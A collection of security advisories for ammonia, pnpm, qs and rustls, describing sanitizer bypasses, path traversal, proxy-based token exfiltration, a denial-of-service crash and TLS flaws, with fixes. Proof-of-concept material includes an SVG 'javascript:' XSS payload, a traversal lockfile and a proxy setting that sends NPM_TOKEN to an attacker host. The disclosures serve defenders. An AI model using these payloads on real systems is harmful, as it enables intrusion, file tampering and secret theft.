Security patches (release/2.2.0-alpha1) - #405

Details

In some cases, quotation marks in CSS url() functions are not escaped. This allows CSS injection. This feature is not enabled by default, so an application is vulnerable if, and only if, the style attribute is allowed and filter_style_properties is used.

As an example, this snippet:

<div style='background:url("cid:\");EVIL_CSS_HERE;background:url(\"cid:")'>

Would erroneously "sanitize" to:

<div style='background:url("cid:");EVIL_CSS_HERE;background:url("cid:")'>

This vulnerability was reported by Uttej Badwane

Severity

Unknown

References

• https://crates.io/crates/ammonia
• https://rustsec.org/advisories/RUSTSEC-2021-0157.html
• https://github.com/rust-ammonia/ammonia/pull/259

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

Details

The neutralization that ammonia applied to animate and set was not applied to other forms of SVG animation, which can be used for XSS.

The following SVG will produce a link with a javascript scheme.
If the user clicks this link, they will run it.

<svg xmlns="http://www.w3.org/2000/svg">
  <a>
    <animateMotion attributeName="href" to="javascript:alert('SET_XSS')"></animateMotion>
    <text y="30">Click set</text>
  </a>
</svg>

Ammonia did not apply attribute filters based on attributeName,
so the contents of the to, from, and values tags were not sanitized as URLs.

Applications that do not explicitly allow any of these tags should not be affected,
since none are allowed by default.

This vulnerability was reported by ucsurf.

Severity

Unknown

References

• https://crates.io/crates/ammonia
• https://rustsec.org/advisories/RUSTSEC-2021-0158.html
• https://github.com/rust-ammonia/ammonia/pull/261

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

Details

URL filtering, such as relative URLs and URL scheme limits,
is not always applied when CSS sanitization is used.

When the inner URL is quoted, CSS url("") is matched case-sensitively,
when it should be matched case-insensitively.
As a result, while url("") gets the intended domain name filtering,
URL("") does not.

The following example shows how an application needs to be configured
to trigger this bug.

let mut builder = Builder::new();
// allow inline styles
builder.filter_style_properties(hashset!["background-image"]);
builder.add_generic_attributes(&["style"]);
// notice that "http" URLs aren't allowed
builder.url_schemes(["cid"].into());

// attacker-controlled, presumably
let cleaned = builder.clean(r#"<div style='background:URL("https://evil.com/ping");'>"#);

// this is the expected result
assert_eq!(String::from(&cleaned), r#"<div style="">ok</p>"#);

// this is the result that the vulnerable version actually gets
assert_eq!(String::from(&cleaned), r#"<div style="background-image:URL(&quot;https://evil.com/ping&quot;);">ok</p>"#);

This can be used to inject tracking pixels where the application intended to prevent them.
It does not allow XSS, and its usefulness for data exfiltration is limited.

This vulnerability was reported by Louis Li.

Severity

Unknown

References

• https://crates.io/crates/ammonia
• https://rustsec.org/advisories/RUSTSEC-2026-0373.html
• https://github.com/rust-ammonia/ammonia/pull/267

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details

Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path

1. pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
2. nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
3. lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'node_modules')
4. lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
5. storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path

Why Existing Defenses Don't Catch It

• depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
• verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
• Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys
• importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
• Integrity verification — requires a real fetchable package but does not validate the destination path

Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

• .git/hooks/pre-commit — code execution on next git operation
• ~/.local/bin/ — binary hijacking
• Project source files — supply chain injection

Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at:

• lockfileToDepGraph.ts:233 — path.join(modules, pkgName)
• after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name)
• lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-c59q-g84q-2gj5
• https://nvd.nist.gov/vuln/detail/CVE-2026-82392
• https://github.com/pnpm/pnpm/pull/12872
• https://github.com/pnpm/pnpm/pull/12890
• https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7
• https://github.com/pnpm/pnpm/commit/78e29fe5583a1e5d69ea05e414eff310f78d5ed9
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.34.5
• https://github.com/pnpm/pnpm/releases/tag/v11.11.0

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause

• The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
• The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.

Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***

Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-vq4v-j7r6-jq4m
• https://nvd.nist.gov/vuln/detail/CVE-2026-82393
• https://github.com/pnpm/pnpm/pull/12872
• https://github.com/pnpm/pnpm/pull/12890
• https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7
• https://github.com/pnpm/pnpm/commit/78e29fe5583a1e5d69ea05e414eff310f78d5ed9
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.34.5
• https://github.com/pnpm/pnpm/releases/tag/v11.11.0

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

• pnpm 11.x: >= 11.0.0, < 11.11.0
• pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches

• pnpm 11.11.0 and later
• pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept

##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

• CVSS Score: 7.4 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

• https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6
• https://github.com/pnpm/pnpm/pull/12871
• https://github.com/pnpm/pnpm/pull/12898
• https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8
• https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba
• https://github.com/orgs/pnpm/discussions/13598
• https://github.com/pnpm/pnpm
• https://github.com/pnpm/pnpm/releases/tag/v10.34.5
• https://github.com/pnpm/pnpm/releases/tag/v11.11.0

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

qs.stringify(obj, { arrayFormat: 'comma' }) throws an uncaught TypeError: Cannot convert object to primitive value when an array in obj contains an element that carries an own, non-callable toString property (for example { a: [ { toString: 'x' } ] }). A remote, unauthenticated attacker who can influence an object that the application later re-serializes with the comma array format triggers the throw. In a service that lacks a synchronous error boundary around the serialization call, the uncaught exception crashes the worker process, producing a denial of service.

Root Cause

When arrayFormat: 'comma' is selected, the comma branch collapses the whole array into a single value via Array.prototype.join, or, under encodeValuesOnly: true, maps each element through the value encoder before joining. Both paths perform an implicit string coercion (ToPrimitive with hint "string") on each element. For an object whose own toString is a non-callable value, coercion skips the shadowed non-callable toString, falls through to Object.prototype.valueOf (which returns the object rather than a primitive), and throws. The comma branch runs this coercion before the per-element null and skip handling in the main loop, so nothing downstream can neutralize the hostile element, and the throw is never caught inside the library.

lib/stringify.js  (comma-array branch)
  line 152-154: obj = utils.maybeMap(obj, function (v) { return v == null ? v : encoder(v); });  // encodeValuesOnly path
  line 156:     objKeys = [{ value: obj.length > 0 ? obj.join(',') || null : void undefined }];   // default comma path
lib/utils.js
  line 292:     string = String(str);   // value encoder coercion reached via the encodeValuesOnly path

Impact

Prerequisites: the application calls qs.stringify with arrayFormat: 'comma' (a documented, supported option) on an object whose shape can be influenced by attacker input. Attacker-controllable sources include qs.parse(input, { allowPrototypes: true }), which retains a toString segment (Express 4's default query parser, Express 5's extended query parser, and body-parser's extended urlencoded parser all set it), qs.parse(input, { plainObjects: true }), whose null-prototype elements throw even without a toString key (eg, a[][b]=c), and JSON.parse of a request body, which needs no qs parse option at all. No authentication or user interaction is required. Demonstrated capability: a single request forces an uncaught synchronous TypeError in the serialization call. In a naive single-process Node service with no synchronous error boundary, this crashes the process and takes the service offline (availability impact). Under a framework such as Express that traps synchronous handler throws, the plausible outcome is a per-request 500 rather than a full outage; that lower-impact case is noted but not the worst credible supported deployment. There is no confidentiality or integrity impact, no memory unsafety, and no prototype pollution.

Proof of Concept

Install qs at the affected version (for example 6.16.0) and run the following script with Node.js. No network setup is required; it demonstrates the throw in isolation.

var qs = require('qs');

// Source A: qs.parse with allowPrototypes retains the hostile toString segment
qs.stringify(qs.parse('a[0][toString]=x', { allowPrototypes: true }), { arrayFormat: 'comma' });

// Source B: a JSON request body, no qs parse option needed
qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma' });

// Also affected: the encodeValuesOnly sub-path
qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma', encodeValuesOnly: true });

A default-join (allowPrototypes) => THREW: TypeError: Cannot convert object to primitive value
B default-join (JSON.parse) => THREW: TypeError: Cannot convert object to primitive value
C encodeValuesOnly path => THREW: TypeError: Cannot convert object to primitive value
N2 callable toString => NO THROW; output="a=z"
N3 isBuffer vector (CVE-2026-82417) => NO THROW; output="a%5Bconstructor%5D%5BisBuffer%5D=x"
qs version: 6.16.0

Attack Chain

1. Exposure: A remote, unauthenticated request reaches an endpoint whose handler eventually serializes attacker-influenced data with qs.stringify(obj, { arrayFormat: 'comma' }).
2. Control: The attacker supplies data that becomes { a: [ { toString: <non-callable value> } ] }, either via a[0][toString]=x parsed with allowPrototypes, or via a JSON body {"a":[{"toString":"x"}]}.
3. Path: In stringify, the primitive/buffer guard at lib/stringify.js:134 is false for an array, so control reaches the comma branch at lib/stringify.js:149.
4. Guard: On the encodeValuesOnly path, the closure v == null ? v : encoder(v) at lib/stringify.js:152-154 passes only null/undefined through; a non-null object still reaches the encoder. The default path skips that closure entirely and reaches obj.join(',') at lib/stringify.js:156 with no guard at all.
5. Primitive: The element is coerced to a string (Array.prototype.join, or String(str) at lib/utils.js:292). ToPrimitive skips the non-callable own toString, valueOf returns the object, and a TypeError is thrown.
6. Result: The uncaught synchronous exception propagates out of the serialization call, failing the request and, in a service without a synchronous error boundary, crashing the process (denial of service).

Bypass Evidence

This is a different element type on the code path CVE-2026-8723 (GHSA-q8mj-m7cp-5q26) patched, plus the default comma path, which that fix never covered. CVE-2026-8723 addressed a TypeError crash on null/undefined entries in the comma plus encodeValuesOnly path. Its fix (commit 21f80b3) wraps the encoder in function (v) { return v == null ? v : encoder(v); }, so it only passes null and undefined through. A non-null element with a hostile own toString fails the v == null test, so the encoder still runs and still throws; the encodeValuesOnly case (case C above) throws on the exact fixed code. The default comma path (encodeValuesOnly unset, the library default) never entered that fix at all: git log -S "obj.join(','" -- lib/stringify.js shows no security fix has ever touched the obj.join(',') line, and cases A and B throw with encodeValuesOnly unset. The related isBuffer hardening for CVE-2026-82417 (commit e83d321) is a different sink at the lib/stringify.js:134 guard, which is never entered for the array element; the negative control {a:{constructor:{isBuffer:'x'}}} serializes cleanly. Disproof attempts that failed: a valueOf-only object does not throw (it serializes to [object Object]), confirming the trigger is an element with no callable toString (an own non-callable toString, or a null-prototype object with no toString at all, as qs.parse produces under plainObjects); nested arrays ({"a":[[{"toString":"x"}]]}) throw the same way; a callable toString serializes cleanly; and the default (non-comma) array format serializes cleanly, confirming the comma format is required. All positive and negative cases were reproduced on the exact published 6.16.0 artifact.

Affected Versions

• Ecosystem: npm
• Package: qs
• Confirmed affected range: >= 6.7.0, <= 6.16.0
• Latest release checked: 6.16.0 (npm latest; git tag v6.16.0)
• Fix status: fixed in 6.16.1 (a952e75)

The arrayFormat: 'comma' join sink was introduced in qs 6.7.0, so 6.7.0 is the lower boundary; releases before 6.7.0 lack the sink. No released version fixes this vector, and the latest published release (6.16.0) reproduces the throw, so the closed upper bound <= 6.16.0 covers every affected release. The encodeValuesOnly sub-path was added later, but the default comma-join vector already affects 6.7.0, so 6.7.0 governs the lower boundary.

Suggested Fix

The comma array serialization must not allow an implicit string coercion of an array element to throw an uncaught exception. Coercion of each comma element should be performed defensively (for example by wrapping the join and per-element encode so that a coercion failure is caught and handled), and this protection must cover both the default obj.join(',') path and the encodeValuesOnly encoder path, not only the previously patched null/undefined case. As an interim mitigation without a code change, applications can avoid arrayFormat: 'comma' when serializing data derived from untrusted input, sanitize parsed objects (avoid allowPrototypes/plainObjects on untrusted input and strip unexpected own properties), or wrap qs.stringify calls in a synchronous error boundary so a coercion failure cannot crash the process.

Reported by zx (GitHub: @​manus-pi).

Independent report by @​Lucidsec

The following was reported separately, after this advisory, and is merged here as a duplicate.

Summary

In project qs, in versions >= 6.7.0, <= 6.16.0 (every version that supports arrayFormat: 'comma'), qs.stringify with arrayFormat: 'comma' can throw an uncaught TypeError: Cannot convert object to primitive value when an array element has a non-callable own toString. It is fixed in 6.16.1. Related: CWE-248 and CWE-704.

Technical Details

qs.stringify with arrayFormat: 'comma' joins an array at lib/stringify.js:156 via obj.join(','). An element whose own toString is not callable makes Array.prototype.join throw. There is no type check and no catch on that path.

A second path exists with encodeValuesOnly: at lib/stringify.js:151-154, maybeMap only skips v == null, then lib/utils.js:292 does String(str) and throws the same TypeError (this second site exists since v6.11.1; before that, the same input throws at join).

Who can trigger: someone who can shape an array element passed to stringify. The host must use non-default arrayFormat: 'comma'. Default arrayFormat indices does not fold arrays and is not affected. A parse-then-stringify path also needs plainObjects: true (null-prototype elements from lib/parse.js:200) or allowPrototypes: true (which Express 4's default query parser, Express 5's extended query parser, and body-parser's extended urlencoded parser all set). Default qs.parse('a[0][toString]=x') returns {} because the prototype guard drops toString. Direct JSON handed to stringify can supply {"a":[{"toString":"x"}]}.

Cause: the comma fold at lib/stringify.js:149-156 collapses the array into a single value before the main loop at lib/stringify.js:172-212, so skipNulls and strictNullHandling only ever see the joined value, never individual elements. isNonNullishPrimitive / isBuffer at lib/stringify.js:134 inspect the whole value, not each element. A normal object uses Object.prototype.toString and becomes [object Object]. An own non-callable toString is skipped, valueOf returns the object, and join throws. (The skipped TODO test at test/stringify.js:684-689 uses a plain { b: 1 } element, which does not throw; it covers the separate question of what comma format should output for object elements, not this crash.) Earlier comma crash fixes did not cover object elements.

Impact

One small input makes that serialization path throw a synchronous, catchable TypeError. Behind a framework error boundary (eg, a synchronous Express handler), the request fails with a 500 and the process survives. In a host with no error boundary (eg, a bare http.createServer handler), the uncaught exception exits the process (the client sees ECONNRESET). Availability only.

Proof of Concept

Suggested Fix

Before join, map elements with the existing primitive check; skip or replace non-primitives so join cannot throw. On the encodeValuesOnly path, do not send non-primitives into String(). Optionally guard lib/utils.js:292. Add new regression tests.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw
• https://nvd.nist.gov/vuln/detail/CVE-2026-110816
• https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727
• https://github.com/ljharb/qs
• https://github.com/ljharb/qs/releases/tag/v6.16.1

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Formatting a client session value with Debug exposes its TLS 1.2 master secret or TLS 1.3 resumption PSK. A custom session store that logs these values can disclose keys to readers of the logs. Ordinary connection and built-in cache diagnostics remain redacted, and the session-store interface already warns that its values are sensitive.

Details

Derived formatters traverse the session's secret-bearing fields. This conflicts with the project's explicit key-material redaction policy.

Proof of concept

Custom ClientSessionStore implementations could leak secret data by using the provided Tls12ClientSessionValue or Tls13ClientSessionValue in a way that triggers its implementation of the Debug trait.

Impact

Such store implementations could leak the master secret for the TLS connection.

Acknowledgement

Thanks to OpenAI OutboundDisclosures@openai.com for the disclosure.

Severity

• CVSS Score: 4.0 / 10 (Medium)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

References

• https://github.com/rustls/rustls/security/advisories/GHSA-c8m5-c952-6cm4
• https://github.com/rustls/rustls/pull/3299
• https://github.com/rustls/rustls/pull/3354
• https://github.com/rustls/rustls/commit/dcdb9464d376f45f42a94a5f837cda1506449f23
• https://github.com/rustls/rustls/commit/f5f7bf5078a7edcbd81a9e82a97f2bd14dc1c855
• https://github.com/rustls/rustls
• https://github.com/rustls/rustls/releases/tag/v/0.23.46
• https://rustsec.org/advisories/RUSTSEC-2026-0346.html

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The built-in (but disabled by default) Brotli certificate decoder bounds the output buffer but accepts an input-selected history window. A header of five bytes can specify a 1 GiB window allocation. A peer can abort a process whose allocator cannot satisfy that request. A client must enable Brotli and connect to the peer; a server must enable Brotli and request a client certificate. Neither direction requires a trusted attacker certificate.

Details

rustls calls BrotliDecompress which enables Brotli's large-window extension. rustls applies a limit to certificates, but this applies to the decompressed result, and not to any internal allocations the process requires.

Impact

Client applications that enable the brotli feature will be vulnerable to malicious servers. Server applications that enable the brotli feature and enable client authentication will be vulnerable to malicious clients.

Potential for denial of service due to memory exhaustion from peers sending malicious Brotli-encoded certificates, for applications that enable Brotli decompression.

Acknowledgement

Thanks to OpenAI OutboundDisclosures@openai.com for the disclosure.

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/rustls/rustls/security/advisories/GHSA-h2v8-394m-p7vv
• https://github.com/rustls/rustls/pull/3297
• https://github.com/rustls/rustls/pull/3354
• https://github.com/rustls/rustls/commit/1aa987af37d0d79b98781d345895ac0059ce345c
• https://github.com/rustls/rustls/commit/402b7b78b7ae87d59e19cf07ee07f3fc19e6537e
• https://github.com/rustls/rustls
• https://github.com/rustls/rustls/releases/tag/v/0.23.46
• https://rustsec.org/advisories/RUSTSEC-2026-0348.html

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

In rustls 0.23.44 and 0.23.45, application data that a client buffers before the handshake completes is sent to the server even when the server rejects Encrypted Client Hello (ECH).

When the server rejects ECH, the client completes the handshake with the outer ClientHello and authenticates the server against the ECH config's public_name. At the end of the handshake, start_traffic() encrypts and queues any plaintext buffered by ClientConnection::writer(). It does this before checking for EchStatus::Rejected and queueing the ech_required alert.

The application then receives Error::PeerIncompatible(ServerRejectedEncryptedClientHello), as expected. However, the client is still expected to call write_tls() to send the fatal alert, and that call also sends the encrypted application data. The server decrypts the data and only then receives the alert.

The ordering bug is older than 0.23.44. Before 0.23.44, the client checked the server certificate against the inner server name rather than public_name, so a correctly configured server failed certificate verification first and no data was sent. 0.23.44 fixed that check, which makes the ordinary rejection path reachable.

Impact

Plaintext meant for the inner server, the one named in the encrypted ClientHello, goes to the client-facing server identified by public_name. That server is properly authenticated, so this is not an attack by an unauthenticated party. However this violates RFC 9849, which says the following:

• Section 6.1.6: if the handshake and authentication succeed after ECH rejection, the client "MUST ... abort the connection with an "ech_required" alert before sending any application data to the server."
• Section 6.1.7: the certificate is checked only against public_name, and the connection "MUST NOT" be reported as successful to the application. rustls does report failure correctly. The problem is only that data is sent before the alert.

This affects only clients that meet all of these conditions:

• They use EchMode::Enable. GREASE ECH is not affected.
• They write application data before the handshake completes.
• They connect to a server that rejects their ECH config, for example because the config is stale. This is the same case where the server returns retry configs.

The usual client response to rejection is to retry with the server's retry configs. In that case, the data has already gone to the outer server.

Severity

• CVSS Score: 2.3 / 10 (Low)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

References

• https://github.com/rustls/rustls/security/advisories/GHSA-vp88-798v-h67f
• https://github.com/rustls/rustls/pull/3300
• https://github.com/rustls/rustls/pull/3354
• https://github.com/rustls/rustls/commit/2bd5c0cefabb2c5fd4100383a736d59f9671b9b4
• https://github.com/rustls/rustls/commit/4de14a508fbfa2273203ec17d9dfdd0fbd29e8d1
• https://github.com/rustls/rustls/commit/7dcbe4c1ae12185237d22e9197583329630a2014
• https://github.com/rustls/rustls
• https://github.com/rustls/rustls/releases/tag/v/0.23.46
• https://rustsec.org/advisories/RUSTSEC-2026-0347.html

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The client records the server-selected key-exchange group per server name when it processes the ServerHello, before the server is authenticated. A network attacker can answer one connection attempt for a target name with a ServerHello that selects X25519 and close the connection. Later ClientHellos for that name carry one X25519 share while supported_groups still lists X25519MLKEM768 first. If the server accepts that share instead of sending a HelloRetryRequest, the handshake completes with classical key exchange only and no error.

An attacker that answers one connection attempt for the target name with a ServerHello selecting X25519 changes every later ClientHello of that client for that name, for as long as the entry stays in the store. No certificate or completed handshake is needed: it parses the ClientHello, sends the ServerHello, and closes.

TLS 1.3 transcript binding stops an on-path attacker from editing the ClientHello of one connection. It does not stop the attacker from steering the client's prediction state beforehand, because that state is written from an unauthenticated message.

What does not trigger it

• Servers that send a HelloRetryRequest. The connection stays hybrid and costs one extra round trip.
• A client configuration with resumption disabled: nothing is stored.
• A different server name: the record is per name.

Impact

If the genuine server picks the group for which a share is present, instead of sending a HelloRetryRequest for its preferred hybrid group, the handshake completes with classical key exchange only, between two peers that both support the hybrid group. No error is raised. The confidentiality of recorded sessions against a future quantum adversary is lost for those connections (harvest now, decrypt later). There is no key compromise and no authentication bypass.

Note that this behaviour is discussed at length in draft-ietf-tls-key-share-prediction so the actual security impact is largely down to a server policy decision.

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

• https://github.com/rustls/rustls/security/advisories/GHSA-w44r-93j7-qv28
• https://github.com/rustls/rustls/pull/3355
• https://github.com/rustls/rustls/commit/8fa0dc5d517a63411ad1e528249bdf5b098ae5e4
• https://github.com/rustls/rustls/commit/f04804fa13341a9b1dc02b5d1dd8a746f2c4b7fb
• https://github.com/rustls/rustls
• https://github.com/rustls/rustls/releases/tag/v/0.23.46
• https://rustsec.org/advisories/RUSTSEC-2026-0349.html

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Details

The Debug implementations of Tls12ClientSessionValue and
Tls13ClientSessionValue were derived, and so included the TLS 1.2 master
secret or TLS 1.3 resumption PSK in their output.

Custom ClientSessionStore implementations that format these values with
Debug (for example, when logging) could disclose these secrets to readers of
the logs. This conflicts with rustls's
key-material redaction policy.

Ordinary connection and built-in session cache Debug output is redacted and
is not affected.

Severity

• CVSS Score: 4.0 / 10 (Medium)
